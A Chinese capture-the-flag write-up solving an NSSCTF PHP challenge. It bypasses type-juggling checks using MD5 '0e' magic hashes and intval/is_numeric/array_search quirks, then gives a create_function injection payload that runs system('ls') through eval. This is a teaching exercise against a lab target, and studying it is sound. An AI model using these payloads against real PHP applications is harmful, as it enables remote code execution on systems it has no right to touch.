[NSSCTF Round#16 Basic]了解过PHP特性吗 详细题解

devtools/2024/11/19 3:53:41/

知识点:

MD5 弱类型比较绕过
intval()函数   is_numeric() 函数
array_search 弱类型比较
create_function 绕过

源码:

php"><?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {die("no!!");
}
if (intval($num)) {$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {$ctype = strrev($_POST['ctype']);$is_num = strrev($_POST['is_num']);if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {$checker_2 = TRUE;}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {if (!is_numeric($_514) && $_514 > 9999999) {$checker_3 = TRUE;}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {for ($i = 0; $i < count($arr4y); $i++) {if ($arr4y[$i] === "NSS") {die("no!");}$arr4y[$i] = intval($arr4y[$i]);}if (array_search("NSS", $arr4y) === 0) {$checker_4 = TRUE;}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {echo $rce;
}

首先num参数不能含有数字,intval($num)不能返回0 也就是需要返回非0数字,可以用非空数组绕过  
?num[]=1 此时这里的1 不会被正则匹配到
strrev() 反转字符串     ctype_alpha() 检测字符串中所有字符是否都为字母
is_numeric () 检测变量是否为数字或数字字符串

如果传入的字符串中含有字母,那么is_numeric()函数就会返回false,例如a123 1a23 123a
所以参数is_num需要满足纯数字,ctype满足纯字母,然后满足md5加密后的弱比较

这里数组绕过是不合适的,因为strrev()函数需要字符串类型,传入数组类型会报错
所以找到纯数字和纯字母md5加密之后前两位为0e  的值,就会被认为是科学计数法,表示的是0*10的n次方,还是零

php">md5加密之后前两位为0e 的纯数字:
240610708  314282422   571579406   903251147
md5加密之后前两位为0e 的纯字母:
QLTHNDT   QNKCDZO    EEIZDOI   TUFEPMC

倒置一下,post传参 is_num=807016042&ctype=TDNHTLQ

php">if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {if (!is_numeric($_514) && $_514 > 9999999) {$checker_3 = TRUE;}
}

参数114有长度限制,用科学计数法即可绕过,intval()函数可以识别科学计数法,例如 1e8,就是1*10的8次方

参数514没有要求长度,需要满足!is_numeric($_514),所以赋值为999999999999999a 即可

如果赋值为科学计数法1e9的话  1e9 进行弱比较的话和 1 是相等的,这样就不满足$_514 > 9999999

php">$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {for ($i = 0; $i < count($arr4y); $i++) {if ($arr4y[$i] === "NSS") {die("no!");}$arr4y[$i] = intval($arr4y[$i]);}if (array_search("NSS", $arr4y) === 0) {$checker_4 = TRUE;}
}

count() 返回数组中元素的数目   
参数arr4y需要是一个数组,数组中的元素不能有NSS,并且$arr4y[$i] = intval($arr4y[$i]); 会进行intval()转换重新赋值
array_search () 用于在数组中搜索某个值并返回对应的键名,如果找不到该值则返回false
作用是在数组 $arr4y 中查找值 "NSS" 是否存在,并且判断索引是否为 0
array_search是弱比较,由于"NSS"是纯字母,如果和数字比较,相当于0和0 就会相等,所以arr4y可以传入0 ,此时数组中就一个元素,索引也是0

get传参    ?num[]=1&114=1e8
post传参   is_num=807016042&ctype=TDNHTLQ&514=9999999999999a&arr4y[]=0
得到结果 next:Rc3_function.php

php"> <?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){$nss_shell = create_function($shell,$nss);
}

create_function(string $args,string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分
create_function函数会在内部执行 eval()

create_function()会创建一个匿名函数,格式如下所示:
function lambda_1($a,$b){.......
}

命令执行不需要参数,直接构造执行代码即可,但是要求存在shell参数,不赋值即可

post传参输入 

shell=&nss=}system('ls');//

传入nss参数变成

php">function lambda_1()
{}  system('ls');//
}

nss参数中的 } 是为了闭合前面的{          

//用来注释掉后面的括号 这样就可以利用eval()函数执行system('ls')
得到结果 Rc3_function.php index.php rce.php
查看根目录即可发现flag文件,然后用cat 命令查看即可


http://www.ppmy.cn/devtools/135108.html

相关文章

大语言模型通用能力排行榜(2024年11月8日更新)

数据来源SuperCLUE 榜单数据为通用能力排行榜 排名 模型名称 机构 总分 理科 文科 Hard 使用方式 发布日期 - o1-preview OpenAI 75.85 86.07 76.6 64.89 API 2024年11月8日 - Claude 3.5 Sonnet&#xff08;20241022&#xff09; Anthropic 70.88 82.4…

Python绘制雪花

文章目录 系列目录写在前面技术需求完整代码代码分析1. 代码初始化部分分析2. 雪花绘制核心逻辑分析3. 窗口保持部分分析4. 美学与几何特点总结 写在后面 系列目录 序号直达链接爱心系列1Python制作一个无法拒绝的表白界面2Python满屏飘字表白代码3Python无限弹窗满屏表白代码4…

QT_CONFIG宏使用

时常在Qt代码中看到QT_CONFIG宏&#xff0c;之前以为和#define、DEFINES 差不多&#xff0c;看了定义才发现不是那么回事&#xff0c;定义如下&#xff1a; 看注释就知道了QT_CONFIG宏&#xff0c;其实是&#xff1a;实现了一个在编译时期安全检查&#xff0c;检查指定的Qt特性…

OBOO鸥柏“触摸屏广告一体机交互”亮相2024中国珠海航展

2024年11月12日&#xff0c;第十五届中国国际航空航天博览会&#xff08;简称中国航展或珠海航展&#xff09;在珠海拉开帷幕。展会现场&#xff0c;既有OBOO鸥柏一大批高精尖液晶显示产品集体亮相&#xff0c;也有航天相关科技领域及飞行表演队炫技蓝天等。在中国航展的各个科…

【EmbeddedGUI】脏矩阵设计说明

脏矩阵设计说明 背景介绍 一般情况下&#xff0c;当屏幕内容绘制完毕后&#xff0c;实际应用通常需要更新屏幕中的一部分内容&#xff0c;而不是单纯显示一个静态图片在那。 如下图所示&#xff0c;屏幕中有一个图片控件&#xff08;Img2&#xff09;和一个文本控件&#xf…

【SPIE出版,EI稳定检索】2024年信号处理与神经网络应用国际学术会议(SPNNA 2024,12月13-15日)

2024年信号处理与神经网络应用国际学术会议&#xff08;SPNNA 2024&#xff09; 2024 International Conference on Signal Processing and Neural Network Applications 官方信息 会议官网&#xff1a;www.spnna.org 2024 International Conference on Signal Processing an…

JS学习日记(jQuery库)

前言 今天先更新jQuery库的介绍&#xff0c;它是一个用来帮助快速开发的工具 介绍 jQuery是一个快速&#xff0c;小型且功能丰富的JavaScript库&#xff0c;jQuery设计宗旨是“write less&#xff0c;do more”&#xff0c;即倡导写更少的代码&#xff0c;做更多的事&#xf…

【HAProxy08】企业级反向代理HAProxy高级功能之自定义日志格式与IP透传

HAProxy 高级功能 介绍 HAProxy 高级配置及实用案例 自定义日志格式 log global 开启日志功能&#xff0c;默认只会在记录下面格式的日志 [roothaproxy ~]#tail /var/log/haproxy.logApr 9 19:38:46 localhost haproxy[60049]: Connect from 172.16.0.200:54628 to 172.1…